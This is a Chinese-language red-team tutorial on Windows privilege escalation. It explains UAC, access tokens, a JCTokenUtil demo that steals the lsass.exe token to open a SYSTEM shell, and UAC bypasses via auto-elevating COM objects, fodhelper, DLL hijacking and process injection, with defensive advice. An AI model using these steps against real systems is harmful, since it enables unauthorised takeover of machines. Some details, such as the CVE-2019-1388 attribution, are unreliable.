操作系统权限提升(Windows令牌窃取和白名单绕过UAC提权)
文章目录
- 一 UAC认证和Windows令牌窃取攻击
- 1.1 红队攻防必会知识操作系统提权
- 1.2 企业内网Windows账户权限分类
- 1.3 UAC(User Account Control)
- 1.3.1 UAC简介
- 1.3.2 关于 UAC 的四个安全等级
- 1.3.3 关于 UAC 的常见误解
- 1.3.4 总结
- 1.4 Windows令牌Token临时秘钥详解
- 1.4.1 Windows 令牌
- 1.4.2 令牌的核心作用
- 1.4.3 令牌的生命周期
- 1.4.4 令牌与 UAC 的关系:筛选令牌
- 1.5 令牌窃取攻击一键提权System权限
- 1.5.1 通过令牌窃取绕过 UAC 提权
- 1.5.2 攻击前提
- 1.5.3 攻击步骤:令牌窃取
- 1.5.4 为什么这能绕过 UAC?
- 1.5.5 工具
- 1.5.6 利用JCTokenUtil窃取令牌实现提权
- 1.5.7 防御措施
- 二 AutoElevate绕过UAC提权System
- 2.1 UAC的绕过方式
- 2.1.1 COM (Component Object Model) 技术绕过
- 2.1.1 DLL 劫持
- 2.1.3 白名单绕过
- 2.1.4 计划任务
- 2.1.5 远程注入
- 2.1.6 自身漏洞
- 2.1.7 总结与防御建议
- 2.2 白名单AutoElevate属性绕过UAC
- 2.3 WIN10下的自动提升程序一键查找
- 2.4 白名单提权原理和绕过UAC提权最高权限实战
一 UAC认证和Windows令牌窃取攻击
1.1 红队攻防必会知识操作系统提权
1.2 企业内网Windows账户权限分类
- 在渗透测试中,window系统在不考虑域环境下,window角色权限一般可以分为:本地普通用户、本地管理员用户、本地最高管理员(Administrator)、本地服务用户。
- 本地普通用户
-
权限描述:本地普通用户是Windows系统中的基本用户类型,拥有有限的权限。他们可以执行日常操作,如运行应用程序、访问个人文件和文件夹,以及进行一些基本的系统设置。
-
相关权限:
- 运行安装的应用程序
- 访问和修改自己的文件和文件夹
- 更改个人用户设置(如壁纸、主题等)
- 无法安装或卸载软件
- 无法更改系统设置
- 无法访问其他用户的文件和文件夹(除非有特别权限)
- 无法执行需要管理员权限的操作
-
- 本地管理员用户
-
权限描述:本地管理员用户拥有比普通用户更高的权限,可以执行更多的系统管理和维护任务。他们是系统中的“超级用户”,负责系统的整体运行和安全管理。
-
相关权限:
- 所有本地普通用户的权限
- 安装和卸载软件
- 更改系统设置
- 访问和修改所有用户的文件和文件夹
- 创建、删除和修改用户账户
- 执行需要管理员权限的操作
- 管理系统安全设置(如防火墙、病毒防护等)
-
- 本地最高管理员(Administrator)
- 权限描述:本地最高管理员是Windows系统中的最高权限用户,拥有系统的完全控制权。他们可以执行所有可能的操作,包括对系统核心文件的修改和系统恢复等。这个角色通常只在特殊情况下使用,如系统故障恢复或高级系统维护。windows server、windows专业版、windows企业版默认开启Administrator,windows家庭版默认不开启Administrator。
- 相关权限:
- 所有本地管理员用户的权限
- 修改系统核心文件
- 执行系统恢复操作
- 完全控制系统资源
- 访问和修改系统安全设置
- 执行任何需要最高权限的操作
- 通过如下命令可查看Administrator相关信息。如果需要启用Administrator,可以按照图中操作进行开启。
net user administrator
- 本地服务用户
- 权限描述:本地服务用户(local service、network service、system)是专为运行系统服务而设计的用户类型。他们通常没有交互式登录的权限,只能在后台运行服务,不能用于登录Windows系统。这种用户类型有助于提高系统的安全性和稳定性,因为服务运行在受限的环境中。
- 相关权限:
- 运行指定的系统服务
- 访问服务所需的资源(如文件、网络等)
- 无法进行交互式登录
- 权限受到严格限制,通常只能执行特定任务
- 注意:system和administrator权限相同。
- 权限总结表格:
用户类型 | 运行应用程序 | 访问个人文件 | 更改个人设置 | 安装/卸载软件 | 更改系统设置 | 访问其他用户文件 | 创建/删除用户 | 管理系统安全 | 修改核心文件 | 系统恢复 | 运行服务 |
---|---|---|---|---|---|---|---|---|---|---|---|
本地普通用户 | √ | √ | √ | × | × | × | × | × | × | × | × |
本地管理员用户 | √ | √ | √ | √ | √ | √ | √ | √ | × | × | × |
本地最高管理员(Administrator) | √ | √ | √ | √ | √ | √ | √ | √ | √ | √ | × |
本地服务用户 | √(仅限服务) | √(仅限服务) | × | × | × | × | × | × | × | × | √ |
本地服务用户的权限仅限于运行指定的服务及其相关操作。
1.3 UAC(User Account Control)
1.3.1 UAC简介
- UAC 的全称是 User Account Control,中文译为“用户账户控制”。它是从 Windows Vista 开始引入的一项核心安全功能,并一直延续至今(包括 Windows 7, 8, 10, 11)。
- UAC的核心目标是:防止恶意软件在未经你许可的情况下,对系统进行未经授权的更改。
- UAC 的工作原理:在 UAC 出现之前,Windows XP 的用户习惯于使用管理员账户进行日常操作。这意味着,你运行的任何程序(包括你无意中下载的病毒)都自动拥有了对整个系统的最高权限,可以随意修改系统文件、安装软件、更改关键设置。这就像给了每个进入你家的人一把万能钥匙,非常危险。
- UAC 改变了这一点。它引入了标准用户和管理员两种权限模式的分离,即使你登录的是管理员账户。
- 标准用户模式(默认状态):
- 当你登录系统后,即使你是管理员,系统和大多数程序也会默认在“标准用户”权限下运行。
- 在这个模式下,程序只能访问和修改当前用户的数据(如“文档”、“桌面”),无法触及系统核心区域(如
C:\Windows
、注册表关键位置等)。
- 管理员权限提升(需要时触发):
- 当某个程序或操作需要修改系统设置、安装软件或访问受保护的区域时,它就需要更高的权限。
- 此时,UAC 就会介入,弹出一个确认对话框,要求你(用户)明确批准这个操作。
这个过程被称为“权限提升”(Elevation)。
1.3.2 关于 UAC 的四个安全等级
- UAC 的常见提示界面:UAC 提示通常有以下几种颜色代表不同的安全级别。
颜色 | 图标 | 含义 | 示例 |
---|---|---|---|
蓝色/灰色 | 一个带盾牌的徽章 | 可信的应用程序。通常是你主动运行的、有有效数字签名的程序,如系统自带的工具或知名软件的安装程序。 | 更改系统设置、运行“控制面板”中的某些项目。 |
黄色/金色 | 一个带黄色盾牌的徽章 | 未知或可疑的应用程序。程序没有有效的数字签名,或者签名不被系统信任。系统不确定它是否安全,需要你格外小心。 | 从网上下载的绿色软件、一些小众工具。 |
红色 | 一个带红色叉的盾牌 | 已被阻止的应用程序。该程序被系统明确识别为恶意或高风险。 | 已知的病毒、木马程序。 |
- UAC 的四个级别:在 Windows 中,UAC 通常有四个级别,可以通过以下路径找到它:
控制面板 > 用户账户 > 更改用户账户控制设置
- 始终通知(最高级别)
- 行为:每当有程序尝试安装软件或对系统进行更改时,都会在安全桌面上(屏幕变暗)弹出 UAC 提示,即使是 Windows 自身的程序也不例外。
- 优点:最安全,任何细微的变化都逃不过你的眼睛。
- 缺点:非常烦人,提示频繁,严重影响日常使用体验。
- 仅在应用尝试更改计算机时通知我(默认推荐级别)
- 行为:这是 Windows 的默认设置。当第三方程序尝试更改时,会弹出 UAC 提示。但当你自己主动更改 Windows 设置时,不会弹出提示(系统认为这是你的本意)。
- 优点:在安全性和便利性之间取得了最佳平衡。
- 缺点:理论上,如果恶意软件能模拟你的操作,可能会绕过这个提示。
- 仅在应用尝试更改计算机时通知我(不降低屏幕亮度)
- 行为:和上一级类似,但弹出提示时屏幕不会变暗。
- 优点:提示切换更流畅,不会打断你的视觉焦点。
- 缺点:安全性略低于上一级。因为屏幕变暗(安全桌面)是一种防欺骗机制,防止恶意软件伪造一个假的 UAC 窗口来骗取你的“是”。不降低亮度,这种风险就存在。
- 从不通知(最低级别,等同于关闭)
- 行为:完全关闭 UAC。所有程序都在你当前的账户权限下静默运行。
- 优点:再也没有烦人的弹窗。
- 缺点:极不安全! 这相当于把系统的“安全门卫”开除了,你的电脑将直接暴露在恶意软件的威胁之下,回到了 Windows XP 时代。强烈不建议普通用户选择此级别。
1.3.3 关于 UAC 的常见误解
- 误解一:“UAC 很烦人,我应该直接关掉它。”
- 真相:关掉 UAC 是最糟糕的选择。现代的 Windows 默认设置已经非常智能,只在真正需要时才提醒你。为了省去偶尔一次的点击而牺牲整个系统的安全,得不偿失。
- 误解二:“UAC 就是那个弹窗,点了‘是’就完事了。”
- 真相:UAC 的核心价值在于“让你知情”。每次弹窗都是一个提醒:“嘿,有个东西想动你的系统核心,你确定是你让它做的吗?” 这给了你一个拦截恶意行为的机会。你应该养成在点击“是”之前,快速扫一眼是哪个程序在请求权限的习惯。
- 误解三:“我用杀毒软件了,不需要 UAC。”
- 真相:UAC 和杀毒软件是互补的,不是替代关系。
- UAC 是防御性的,它通过权限管理来预防未经授权的更改。
- 杀毒软件 是检测性的,它通过病毒库和行为分析来发现和清除已经存在的威胁。
- 两者结合,才能构建更完整的防护体系。
- 真相:UAC 和杀毒软件是互补的,不是替代关系。
1.3.4 总结
UAC 是 Windows 一项至关重要的安全基石。它通过将日常操作与高风险操作分离,并要求用户明确授权,有效地构建了抵御恶意软件的第一道防线。
对于绝大多数用户来说,保持 UAC 的默认设置是最佳选择。它能在不显著影响日常使用的前提下,为你的电脑提供坚实的安全保障。下次当 UAC 弹窗时,请不要不耐烦,把它看作是系统在尽职尽责地保护你。
1.4 Windows令牌Token临时秘钥详解
1.4.1 Windows 令牌
- 令牌(Token)是系统的临时密钥,相当于账户名和密码。当一个用户或进程在 Windows 系统中执行任何操作时,系统都需要验证它的身份和权限。这个验证的依据就是令牌。Token相当与一张电子身份张或通行证,允许在不提供密码或其他凭证的前提下,访问网络和系统资源,除非系统重新启动,否则这些令牌持续存在系统中。
- 令牌的最大特性就是随机性、不可预测,一般无法使用软件进行猜测,且令牌种类繁多,如:
- 访问令牌(AccessToken):访问控制操作主题的系统对象。
- Delegation Token:授权令牌,也叫主令牌,支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)。
- Impresonation Token:模拟令牌,支持非交互的会话(例如使用 net use访问共享文件夹)。
- 会话令牌(Session Token):是交互会话中唯一的身份标识符,可以理解为web中的token。
- 密保令牌(SecurityToken)又叫作认证令牌或者硬件令牌,是一种计算机身份效验的物理设备。
1.4.2 令牌的核心作用
- 身份证明:令牌包含了该进程所属用户的唯一安全标识符,例如
S-1-5-21-...-1001
(代表一个普通用户)或S-1-5-32-544
(代表管理员组)。 - 权限清单:令牌里有一个非常重要的部分叫做特权列表,它定义了这个进程可以执行哪些系统级操作,例如:
SeShutdownPrivilege
:关闭系统。SeDebugPrivilege
:调试其他进程(这是提权攻击中非常关键的一个特权)。SeChangeNotifyPrivilege
:遍历文件夹。
- 组成员关系:令牌列出了该用户所属的所有组,如“Users”、“Administrators”、“Remote Desktop Users”等。一个进程的权限是其所属所有组权限的总和。
1.4.3 令牌的生命周期
- 创建:用户成功登录时,系统会为该用户的登录会话创建一个主令牌。
- 复制:当这个用户启动一个新进程时(例如,双击运行
notepad.exe
),系统会复制主令牌,并将这个副本(称为访问令牌)附加到新进程上。 - 使用:此后,该进程(记事本)进行的所有操作,如读取文件、访问注册表,都会由系统安全监视器检查其附加的令牌,以判断是否有权限执行。
1.4.4 令牌与 UAC 的关系:筛选令牌
这正是 UAC 机制的核心。当你使用一个属于管理员组的账户登录 Windows 时,系统会创建两种令牌:
- 完全管理员令牌:
- 包含所有的管理员权限和所有特权。
- 这个令牌是“完整版”的,拥有对系统的完全控制权。
- 它默认被“锁定”或“休眠”,不直接用于日常启动的进程。
- 筛选令牌:
- 这是 UAC 的关键创新。系统会从完全管理员令牌中“过滤”掉一些危险的管理员特权(如
SeDebugPrivilege
)和移除管理员组的 SID。 - 日常使用的所有程序(浏览器、办公软件、记事本等)默认都使用这个“降级版”的筛选令牌启动。
- 因此,即使你是管理员,你的浏览器也无法随意修改
C:\Windows
目录下的文件,因为它持有的令牌没有这个权限。
- 这是 UAC 的关键创新。系统会从完全管理员令牌中“过滤”掉一些危险的管理员特权(如
- UAC 提升权限的过程:
当你右键点击一个程序选择“以管理员身份运行”时,会发生以下事情:
- 一个 UAC 弹窗出现,请求你的同意。
- 你点击“是”后,系统会验证你的身份。
- 验证通过,系统会丢弃那个筛选令牌,直接使用你账户休眠中的完全管理员令牌来启动这个新进程。
- 这个新进程就拥有了完整的管理员权限。
- 使用incognito或chroblert/JCTokenUtil工具进行查看机器令牌。
- 使用JCTokenUtil查看当前登录用户的令牌。
D:\>TokenUtil_x64.exe ListTokens -u kongyue ChooseModule:ListTokensu -> kongyue PID: 8140 HandleOffset: 0x4 LogonID: 00000000-000307fb IL: -1 TokenType : Primary Token CanBeImpersonated: 1 ProcessName: C:\Windows\System32\sihost.exe TokenUser: DESKTOP-96TPJ9I\kongyue
1.5 令牌窃取攻击一键提权System权限
1.5.1 通过令牌窃取绕过 UAC 提权
现在,我们进入攻击场景。假设一个攻击者已经通过某种方式(如钓鱼邮件、漏洞利用)在目标系统上获得了一个立足点,但这个立足点只是一个标准用户权限的进程。他的目标是获得 SYSTEM
或 Administrator
权限。
1.5.2 攻击前提
- 攻击者需要找到一个已经通过 UAC 验证、正在以高权限(如 Administrator 或 SYSTEM)运行的进程。这个进程持有攻击者梦寐以求的完全管理员令牌。
常见的高权限进程包括:
svchost.exe
(某些服务)winlogon.exe
lsass.exe
- 系统管理员手动以管理员身份打开的
cmd.exe
或powershell.exe
。
1.5.3 攻击步骤:令牌窃取
- 枚举进程:攻击者首先运行工具(如
tasklist
、PowerShell 脚本或 Mimikatz)来列出系统上所有正在运行的进程,并检查每个进程的权限级别和所有者。他会寻找由NT AUTHORITY\SYSTEM
或BUILTIN\Administrators
拥有的进程。 - 定位目标:攻击者找到一个合适的目标进程,例如一个正在运行的、由管理员启动的
powershell.exe
。 - 窃取令牌:这是最关键的一步。攻击者利用 Windows API,特别是
OpenProcess()
和DuplicateTokenEx()
函数。OpenProcess()
:以PROCESS_QUERY_INFORMATION
权限打开目标的高权限进程,获得其句柄。DuplicateTokenEx()
:使用目标进程的句柄,复制出它所持有的那个完全管理员令牌。这个操作就像是复制了一张万能钥匙。
- 创建新进程:攻击者现在手上有了“偷来”的完全管理员令牌。他可以使用
CreateProcessWithTokenW()
这个 API 函数,并指定使用这个偷来的令牌来创建一个新的进程(例如,一个新的cmd.exe
)。 - 提权成功:这个新创建的
cmd.exe
因为附加了偷来的完全管理员令牌,所以它就拥有了完整的管理员权限。当攻击者在这个命令行里运行whoami
时,会看到返回nt authority\system
或administrator
,而不是他原来的低权限用户。
1.5.4 为什么这能绕过 UAC?
- 因为 UAC 的弹窗只发生在进程启动的瞬间。攻击者并没有尝试去“启动”一个需要权限的程序并触发 UAC。他只是复制了一个已经通过 UAC 验证的进程的令牌。
- UAC 机制本身并不知道有另一个进程正在“窃取”一个已存在进程的身份。从系统的角度看,一个高权限进程复制自己的令牌给一个新进程是合法操作。攻击者只是利用了这个机制来为自己谋利。
1.5.5 工具
- Mimikatz:最著名的工具,其
token::elevate
或token::revert
模块可以轻松实现令牌窃取。 - Cobalt Strike / Metasploit:这些渗透测试框架内置了
steal_token
模块,可以一键窃取指定进程的令牌。 - PowerUp:一个 PowerShell 脚本,可以自动寻找可利用的提权向量,其中也包括令牌窃取。
- chroblert/JCTokenUtil:一款针对令牌操作进行优化的命令行工具,其核心功能是枚举、窃取(复制)系统中的访问令牌,并利用这些令牌来创建具有指定用户身份(如 SYSTEM 或 Administrator)的新进程,从而实现权限提升。
1.5.6 利用JCTokenUtil窃取令牌实现提权
-
通过JCTokenUtil查看system权限的令牌
D:\>TokenUtil_x64.exe ListTokens -u NT AUTHORITY\SYSTEM -v ChooseModule:ListTokensu -> NT PID: 1140 HandleOffset: 0x4 LogonID: 00000000-000003e7 IL: -1 TokenType : Primary Token CanBeImpersonated: 1 ProcessName: C:\Windows\System32\lsass.exe TokenUser: NT AUTHORITY\SYSTEMPID: 1140 HandleOffset: 0x864 LogonID: 00000000-000003e5 IL: 2 TokenType : Impersonation Token CanBeImpersonated: 1 ProcessName: C:\Windows\System32\lsass.exe TokenUser: NT AUTHORITY\LOCAL SERVICE
-
第一条结果分析
PID: 1140 HandleOffset: 0x4 LogonID: 00000000-000003e7 IL: -1 TokenType : Primary Token CanBeImpersonated: 1 ProcessName: C:\Windows\System32\lsass.exe TokenUser: NT AUTHORITY\SYSTEM
-
进程 (PID: 1140): lsass.exe (Local Security Authority Subsystem Service)。这是 Windows 的安全核心,负责处理登录、密码策略和访问控制。它以 SYSTEM 权限运行,是系统中权限最高的进程之一。
-
令牌类型: Primary Token (主要令牌)。这是 lsass.exe 进程自己的“身份证”,定义了它自身的身份和权限。这个令牌的持有者就是 SYSTEM。
-
令牌用户: NT AUTHORITY\SYSTEM。这确认了 lsass.exe 进程正在以 SYSTEM 账户的身份运行。
-
完整性级别: IL: -1。这是一个非常特殊的值,通常表示 System 完整性级别,比 High (管理员) 和 Medium (普通用户) 都要高。它位于 Windows 完整性级别的顶端。
-
结论:lsass.exe 进程拥有一个属于 SYSTEM 账户的、具有最高权限的主要令牌。这就是攻击者在提权攻击中梦寐以求的“圣杯”。如果能窃取到这个令牌,就能获得对整个系统的完全控制。
-
-
第二条结果分析
PID: 1140 HandleOffset: 0x864 LogonID: 00000000-000003e5 IL: 2 TokenType : Impersonation Token CanBeImpersonated: 1 ProcessName: C:\Windows\System32\lsass.exe TokenUser: NT AUTHORITY\LOCAL SERVICE
- 令牌类型: Impersonation Token (模拟令牌)。这与主要令牌不同。模拟令牌是一个“临时面具”,一个高权限进程(如 SYSTEM)可以戴上这个面具,去以另一个身份(如 LOCAL SERVICE)执行特定操作,完成后再摘下面具,恢复自己的原始身份。
- 令牌用户: LOCAL SERVICE, NETWORK SERVICE, ANONYMOUS LOGON。这些都是权限较低的服务账户。
- 完整性级别: IL: 2。这通常对应 Medium 完整性级别。
-
为什么 SYSTEM 进程需要这些低权限的模拟令牌?
这是 最小权限原则 的体现。想象一下,lsass.exe 需要代表某个普通服务去网络上访问一个资源。如果它直接用自己的 SYSTEM 身份去访问,权限就太高了,而且可能会被对方服务器拒绝(因为不信任一个来自外部的 SYSTEM 账户)。
- 使用工具窃取 lsass.exe (PID: 1140) 的Primary Token,切换到 lsass 进程的 SYSTEM 令牌来执行命令,顺利实现用户添加和删除。
D:\>tasklist | findstr lsass.exe
lsass.exe 1140 Services 0 27,388 KD:\>TokenUtil_x64.exe Execute -p 1140 -e cmd.exe -c
ChooseModule:Executep -> 1140e -> cmd.exec -> 1
[*] Attempting to create new child process and communicate via anonymous pipeMicrosoft Windows [版本 10.0.19045.6093]
(c) Microsoft Corporation。保留所有权利。D:\>whoami
whoami
nt authority\systemD:\>net user mei 123456 /del
net user mei 123456 /delD:\>net user mei /del
net user mei /del
命令成功完成。
1.5.7 防御措施
- 最小权限原则:不要使用管理员账户进行日常操作。这是最根本的防御。如果攻击者只能获得一个标准用户的令牌,那么他能窃取的最高权限也只是标准用户。
- 及时更新补丁:攻击者获得初始立足点通常利用的是未修复的软件漏洞。
- 使用 EDR/XDR 解决方案:现代的端点检测与响应工具能够监控到这种可疑的 API 调用序列(如打开高权限进程后立即创建新进程),并发出警报。
- 限制管理员交互:减少管理员在服务器上直接登录或以管理员身份运行程序的频率。高权限进程越少,攻击者能窃取的令牌就越少。
二 AutoElevate绕过UAC提权System
- 在红队攻防中,我们会采用钓鱼的方式控制别人的电脑,但是往往都是有UAC认证的管理员,并不能获取到最高的权限,只有绕过了UAC认证我们才可以拿到administrator和system的权限,从而进行hash传递,内网渗透等一系列操作所以绕过UAC是重中之重。
2.1 UAC的绕过方式
- UAC的绕过方式有很多,如:COM技术、DLL劫持、白名单绕过、计划任务,远程注入、自身漏洞。
- 首先,UAC绕过的核心目标:它并不是为了“破解”管理员密码,而是利用系统机制或漏洞,诱骗一个已经拥有管理员权限但处于“已批准”状态的高权限进程,去执行我们指定的恶意代码,从而实现权限提升,而无需用户再次点击UAC弹窗确认。
2.1.1 COM (Component Object Model) 技术绕过
- 这是最经典和最常见的UAC绕过方式之一。
- 核心原理:Windows系统中有很多COM对象,其中一些被设计为“受信任的”,可以自动以管理员权限运行,而不会触发UAC提示。攻击者会寻找这些“自动提升权限”的COM对象,并利用它们的功能来执行恶意操作。
- 工作流程:
- 寻找目标:攻击者通过分析系统注册表(特别是
HKEY_CLASSES_ROOT\CLSID
),找到那些标记了Elevation
属性且Enabled
值为1的COM对象。这些对象通常位于HKCR\CLSID\{CLSID}\Elevation
。 - 利用接口:找到目标后,攻击者会研究这个COM对象暴露了哪些接口和方法。例如,某些COM对象可能提供了“创建计划任务”、“执行文件”或“修改注册表”等功能。
- 编写恶意代码:攻击者编写一个程序,实例化这个受信任的COM对象,并调用它的方法,将恶意命令或文件路径作为参数传入。
- 静默执行:当这个方法被调用时,系统会信任该COM对象,并以管理员权限在后台执行攻击者传入的恶意命令,整个过程对用户是无感知的,没有UAC弹窗。
- 寻找目标:攻击者通过分析系统注册表(特别是
- 著名案例:
ICMLuaUtil
COM对象:这是最广为人知的例子。攻击者可以实例化CMSTPLUA
类,然后调用其ShellExec
方法,以管理员权限执行任意程序。FwCplLua
COM对象:与防火墙控制面板相关,同样可以被滥用来执行命令。
- 防御:微软通过安全更新不断修补这些被滥用的COM对象,限制其自动提升权限的能力。
2.1.1 DLL 劫持
这是一种非常灵活的攻击技术,同样可以用于绕过UAC。
- 核心原理:当一个程序启动时,它会按照特定顺序加载所需的DLL文件。如果攻击者能将一个恶意的DLL文件放置在搜索路径的优先位置,那么程序就会加载这个恶意DLL,而不是系统目录下的合法DLL。如果这个程序本身是以管理员权限运行的(例如,一个受信任的、自动提升的程序),那么恶意DLL也就获得了管理员权限。
- 工作流程:
- 寻找目标:寻找一个会自动提升权限且依赖某个非系统核心DLL的程序。这个程序的工作目录或DLL搜索路径对普通用户是可写的。
- 制作恶意DLL:创建一个与目标DLL同名的恶意DLL。这个DLL会导出与原DLL相同的函数,确保程序能正常加载。在恶意DLL的入口点(如
DllMain
)或某个导出函数中,嵌入恶意代码(如启动一个反向Shell)。 - 放置DLL:将恶意DLL放置在目标程序的启动目录下,或者任何在DLL搜索路径中优先于系统目录的位置。
- 触发执行:当用户或系统启动这个高权限程序时,它会加载攻击者的恶意DLL,从而以管理员权限执行恶意代码。
- 防御:微软引入了“已知DLLs列表”和更严格的DLL搜索路径顺序,同时程序开发者也应使用完整路径来加载DLL。
2.1.3 白名单绕过
这种技术利用的是系统对“受信任”程序的信任机制。
- 核心原理:Windows维护着一个“受信任”的程序列表(白名单),这些程序在执行某些需要管理员权限的操作时,不会触发UAC。攻击者通过“劫持”这些受信任程序的执行流程,来运行自己的恶意代码。
- 常见方法:
- 劫持
dllhost.exe
:dllhost.exe
(COM Surrogate) 是一个常见的目标,因为它经常被用来以不同权限级别加载COM组件。攻击者可以配置特定的COM对象,让dllhost.exe
在启动时加载恶意DLL。 - 利用
eventvwr.exe
:这是一个经典的案例。eventvwr.exe
(事件查看器)是受信任的。它会尝试加载一个位于C:\Windows\System32\en-US\
目录下的.mui
文件。如果攻击者能在用户可写的目录(如用户的AppData目录)下创建一个同名的.mui
文件,并通过符号链接或特定注册表项重定向加载路径,就能让eventvwr.exe
加载恶意文件。 - 利用
fodhelper.exe
:这是另一个著名例子。fodhelper.exe
用于管理可选功能,它会自动提升权限。它会检查注册表中的特定键值,如果攻击者能修改这些键值,指向一个恶意程序,那么当fodhelper.exe
启动时,就会以管理员权限执行这个恶意程序。
- 劫持
- 防御:微软通过修补这些特定程序的逻辑来防止劫持,例如强制它们从受保护的系统目录加载资源。
2.1.4 计划任务
利用Windows任务计划程序来实现权限提升。
- 核心原理:系统中可能存在一些配置不当的计划任务。这些任务可能:
- 以高权限(如
SYSTEM
或Administrators
)运行。 - 其执行的程序或脚本对普通用户是可写的。
- 触发条件是攻击者可以控制的(如用户登录、系统启动等)。
- 以高权限(如
- 工作流程:
- 枚举任务:攻击者使用工具(如
schtasks
)枚举系统中的所有计划任务,寻找上述配置不当的任务。 - 替换文件:如果找到一个高权限任务,其执行的脚本(如
.bat
,.vbs
)或程序(.exe
)位于用户可写的目录,攻击者可以直接用恶意文件替换它。 - 等待触发:等待任务被触发(例如,攻击者可以主动触发或等待下一次用户登录),恶意代码就会以高权限执行。
- 枚举任务:攻击者使用工具(如
- 另一种变体:攻击者也可以创建一个新的计划任务。虽然创建高权限任务通常会触发UAC,但如果结合其他漏洞(如一个服务漏洞),就可以无交互地创建一个以
SYSTEM
权限运行的任务,从而实现持久化和权限提升。 - 防御:确保系统计划任务的配置是安全的,执行文件位于受保护的目录,且权限设置正确。
2.1.5 远程注入
这是一种更主动的攻击方式,通常与其他技术结合使用。
- 核心原理:攻击者首先找到一个已经以管理员权限运行的进程(例如,通过上述COM或白名单技术启动的进程)。然后,他们将恶意代码“注入”到这个高权限进程的内存空间中,并使其执行。
- 工作流程:
- 获取目标进程句柄:使用
OpenProcess
API,以PROCESS_CREATE_THREAD
、PROCESS_VM_OPERATION
、PROCESS_VM_WRITE
等权限打开一个高权限进程。 - 分配内存:在目标进程中,使用
VirtualAllocEx
分配一块可读可写可执行的内存空间。 - 写入恶意代码:使用
WriteProcessMemory
将恶意Shellcode或DLL的路径写入到刚刚分配的内存中。 - 创建执行线程:使用
CreateRemoteThread
在目标进程中创建一个新线程,线程的起始地址指向刚刚写入的恶意代码。这样,恶意代码就在高权限进程的上下文中运行了。
- 获取目标进程句柄:使用
- 常见注入技术:
- DLL注入:将恶意DLL路径写入目标进程,然后创建线程调用
LoadLibraryA
来加载DLL。 - Shellcode注入:直接将可执行机器码写入目标进程并执行。
- DLL注入:将恶意DLL路径写入目标进程,然后创建线程调用
- 防御:现代Windows系统引入了更严格的进程保护机制,如受保护进程(Protected Process)和进程缓解策略,使得注入变得更加困难。
2.1.6 自身漏洞
这是最直接的方式,利用UAC机制本身的代码缺陷。
- 核心原理:UAC本身是一个复杂的软件系统,由多个组件(如
consent.exe
)构成。和任何软件一样,它也可能存在编程错误或逻辑漏洞。攻击者可以直接利用这些漏洞来绕过UAC的检查机制。 - 著名案例:
- Win10的
diaghub_collector.exe
漏洞 (CVE-2019-1388):这是一个非常典型的例子。攻击者可以利用Windows诊断中心的漏洞,通过一系列精心构造的操作,最终弹出一个伪造的UAC对话框。这个对话框看起来是系统级的,但实际上是由攻击者控制的,用户点击“是”后,攻击者的程序就获得了管理员权限。 eventvwr.exe
的符号链接漏洞:早期版本中,eventvwr.exe
在处理文件路径时存在逻辑缺陷,允许攻击者通过创建符号链接,将文件操作重定向到任意位置,从而写入恶意文件。
- Win10的
- 防御:唯一的防御方式就是及时安装微软发布的安全补丁。
2.1.7 总结与防御建议
绕过方式 | 核心思想 | 关键点 |
---|---|---|
COM技术 | 滥用受信任的、自动提升权限的COM对象 | 寻找并调用 Elevation 标记的COM接口 |
DLL劫持 | 替换高权限程序依赖的DLL文件 | 控制DLL搜索路径,替换非核心DLL |
白名单绕过 | 劫持受信任程序的执行流程 | 利用程序对配置文件或外部资源的依赖 |
计划任务 | 利用配置不当或创建高权限任务 | 寻找可写的任务文件或利用漏洞创建任务 |
远程注入 | 将恶意代码注入到已存在的高权限进程 | 获取高权限进程句柄并写入执行代码 |
自身漏洞 | 利用UAC组件自身的代码缺陷 | 寻找并触发UAC机制中的逻辑或内存漏洞 |
对普通用户的防御建议:
- 及时更新系统:这是最重要的一点,微软会通过补丁修复已知的绕过漏洞。
- 不要轻易关闭UAC:将UAC级别保持在默认或更高。虽然可以被绕过,但它仍然能拦截大量未经授权的修改行为。
- 使用标准账户:日常使用电脑时,使用标准用户账户,而不是管理员账户。这样即使恶意软件运行,其初始权限也有限。
- 运行来源不明的软件要谨慎:UAC绕过通常需要用户先执行一个“诱饵”程序。因此,不要运行可疑的邮件附件或下载的软件。
2.2 白名单AutoElevate属性绕过UAC
- UAC的作用是为了方式恶意软件、木马病毒、广告插件,但是UAC同样也会对系统本身的程序造成影响,微软也不希望运行系统程序也需要询问用户,因为系统程序是安全的。因此,微软则在UAC 中添加白名单机制常见白名单中包含msconfig.exe、perfmon.exe、sdclt.exe、eventvwr.exe、taskmgr.exe、cleanmgr.exe、dccw.exe、fodhelper.exe。
- Windows白名单中若
autoElevate
属性为True,程序启动时会自动提升权限(不会提示UAC),这类应用程序通常具备微软签名,被系统视为可信。因此,该程序启动时将以管理员身份运行。 - 可使用微软官方工具sigcheck.exe查找具有
autoElevate=True
属性的程序(即白名单程序),查看属性值的命令示例:sigcheck.exe /accepteula -m C:\Windows\System32\msconfig.exe
- 下方代码块展示通过
sigcheck.exe
检测后输出的部分结果,其中红框标注的<autoElevate>true</autoElevate>
明确显示该程序的autoElevate
属性值为True:</trustInfo> <asmv3:application><asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"><dpiAware>true</dpiAware><autoElevate>true</autoElevate> <!-- 此处为autoElevate属性值 --></asmv3:windowsSettings> </asmv3:application> </assembly>
2.3 WIN10下的自动提升程序一键查找
-
通过微软工具strings工具进行批量查找
strings.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" > res.txt
D:\virtual Machine\tools\Strings>strings64.exe /accepteula -s C:\Windows\System32\*.exe | findstr /i "autoElevate" C:\Windows\System32\BitLockerWizardElev.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate> C:\Windows\System32\bthudtask.exe: <autoElevate>true</autoElevate> C:\Windows\System32\changepk.exe: <autoElevate>true</autoElevate> C:\Windows\System32\chkntfs.exe: <autoElevate>false</autoElevate> C:\Windows\System32\cleanmgr.exe: <autoElevate xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate> C:\Windows\System32\cliconfg.exe: <autoElevate>false</autoElevate> C:\Windows\System32\CompMgmtLauncher.exe: <autoElevate>false</autoElevate> ...
2.4 白名单提权原理和绕过UAC提权最高权限实战
- 在运行白名单程序的时候,程序除了被正常的启动,还会有加载操作系统底层的东西,比如加载DLL、注册表等行为,一旦该程序调用的注册表拥有执行的命令的行为,那么该白名单就可以进行UAC提权。
